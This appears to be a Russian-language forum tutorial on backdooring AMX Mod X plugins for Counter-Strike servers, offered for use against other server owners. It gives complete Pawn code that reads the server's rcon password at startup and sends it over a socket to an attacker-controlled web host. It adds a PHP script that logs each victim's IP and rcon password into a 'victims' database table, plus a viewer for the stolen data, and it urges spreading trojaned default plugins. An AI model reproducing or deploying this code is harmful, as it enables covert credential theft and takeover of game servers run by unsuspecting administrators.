А суть его такова: бекдоры в amxx-плагинах. Что нам это даст? Фактически, все что угодно: возможность получить ркон-пароль, в нужный момент отправить сервер к ... все зависит от вашей фантазии (в данном случае рассмотрим вариант с рконом).
Как-либо заметить наличие данной заразы, как ни крути, проблематично. Конечно, дизассемблер никто не отменял, но скажите честно, вы часто пропускаете через него плагины, которые собираетесь поставить? В крайнем случае, уверяю – данной херней страдают единицы.
Да, все это круто – впаяли «назад-дверь» в один из дефолтных плагинов amxx, отправили сервер на публику, радостное нубье его растащило. А теперь вопрос: как узнать, где именно лежит заветный «ядовитый» плагин? Планомерно проверять каждый сервер из списка занятие далеко не увлекательное, так что давайте данные (в виде rcon и ip сервера, где наш плагин, собственно, лежит) будут стекаться прямо к нам.
Самый простой (да и, наверное, единственно возможный) вариант – отправка данных на веб-сервер. Скажем, лежит на нашем хосте пхпшка, которой плагин при запуске сервера отправляет ip-адрес через GET-запрос, а та сохраняет результат в sql-базу. Зачем такой геморрой, ведь amxmodx располагает возможностями работы с SQL-базами? Почему бы не организовать прямое подключение к нашей базе?
Дело в том, что в таком случае вместе с плагином к жертве отходят и наши логин/пароль от БД. А что тогда? Верно, жертва и злоумышленник меняются местами.
В целом, схема выходит следующая:
1) Инициализация плагина при запуске сервера. Отправка GET-запроса нашей пхпшке через сокет.
2) Пхпшка отправляет запрос базе, определяя, есть ли в базе данный IP-адрес, и если нет – добавляет результаты в таблицу, если есть – обновляет запись.
К примеру, на нашем веб-сервере лежит backdoor.php со следующим содержанием:
<?php $rcon = $_GET['rcon']; //функция добавления адресов и паролей в базу ?>
Тогда для добавления в базу инфы, нам необходимо отправить следующий GET-запрос:
GET /backdoor.php?rcon=RCON_ПАРОЛЬ HTTP/1.1 /r/n HOST: ourhost.com/r/n
Теперь о том, как функцию запроса вклеить в исходный плагин.
Для открытия сокет-соединения с нашим веб-сервером, необходимо подключить библиотеку sockets.
#include <sockets>
Рекомендую отправление запроса организовать при инициализации плагина (plugin_init()).
Открытие сокет-соединения осуществляется функцией socket_open()
socket_open (АДРЕС_ВЕБ-СЕРВЕРА, ПОРТ_ВЕБ-СЕРВЕРА, ПРОТОКОЛ)
socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP)
Также нам необходимо отвести три переменные в плагине для сокета, запроса и rcon
new socket new rcon[129] new query[256]
Ну и для ошибки:
new error
Записываем в них соответственную инфу:
get_cvar_string("rcon_password", rcon, 12
format(query, "GET /backdoor.php?rcon=%s HTTP/1.1 ^r^n HOST: ourhost.com^r^n", 256,rcon)[/CODE]
И отправляем запрос:
socket_send(socket, query, 256)
Закрываем сокет-соединение:
socket_close(socket)
#include <amxmodx> #include <sockets> new socket new rcon[129] new error new query[256] public plugin_init() { register_plugin("НАЗВАНИЕ", "ВЕРСИЯ", "АВТОР") get_cvar_string("rcon_password", rcon, 128) format(query, "GET /backdoor.php?rcon=%s HTTP 1.1 ^r^n HOST ourhost.com^r^n", 256,rcon) socket = socket_open ("www.ourhost.com", 80, SOCKET_TCP) socket_send(socket, query, 256) socket_close(socket) }
www.ourhost.com и путь к пхпшке меняем на нужные, естессна.
Содержимое самой .php-шки:
<?php $sql['host'] = "localhost"; //SQL-хост $sql['user'] = "root"; //SQL-пользователь $sql['pass'] = "pass"; //SQL-пароль $sql['db'] = "db"; //SQL-база $rcon = addslashes($_GET['rcon']); mysql_connect($sql['host'], $sql['user'], $sql['pass']); mysql_select_db($sql['db']); $ip = getenv(REMOTE_ADDR).":".getenv(REMOTE_PORT); $q = mysql_query("create table if not exists victims ( `id` int auto_increment, `ip` varchar(25) not null, `rcon` tinytext not null, primary key (`id`))"); $q = mysql_query("select * from victims where ip={$ip} limit 1"); if(!$q) die('Oops'); if(mysql_num_rows($q) == 0) { $p = mysql_query("insert into victims (`id`, `ip`, `rcon`) values (0, '{$ip}', '{$rcon}')"); } else { $p = mysql_query("update victims set rcon='{$rcon}' where ip='{$ip}'"); } ?>
Теперь кладем ее в корневую директорию (чтобы путь к ней выглядел как ourhost.com/backdoor.php), компилируем наш плагин, запускаем сервер.. и в базе появляется наш ip и rcon. Драма.
Как посмотреть результаты рейда? Воспользуйтесь пхпмайадмином или этим скриптом:
<?php $sql['host'] = 'localhost'; //SQL-хост $sql['user'] = 'root'; //SQL-пользователь $sql['pass'] = 'pass'; //SQL-пароль $sql['db'] = 'db'; //SQL-база mysql_connect($sql['host'], $sql['user'], $sql['pass']) mysql_select_db($sql['db']); $q = mysql_query('select * from victims'); if(!$q) die('OI PIZDEC <img src='http://forum.myarena.ru/public/style_emoticons/<#EMO_DIR#>/sad.png' class='bbc_emoticon' alt=':(' /> '); ?> <table> <?php while($r = mysql_fetch_array($q, MYSQL_ASSOC)) { echo '<tr><td>'.$r[ip].'</td><td>'.$r[rcon].'</td></tr>'; } ?> </table>гм-комьюнити©
Ставьте исходники плагинов)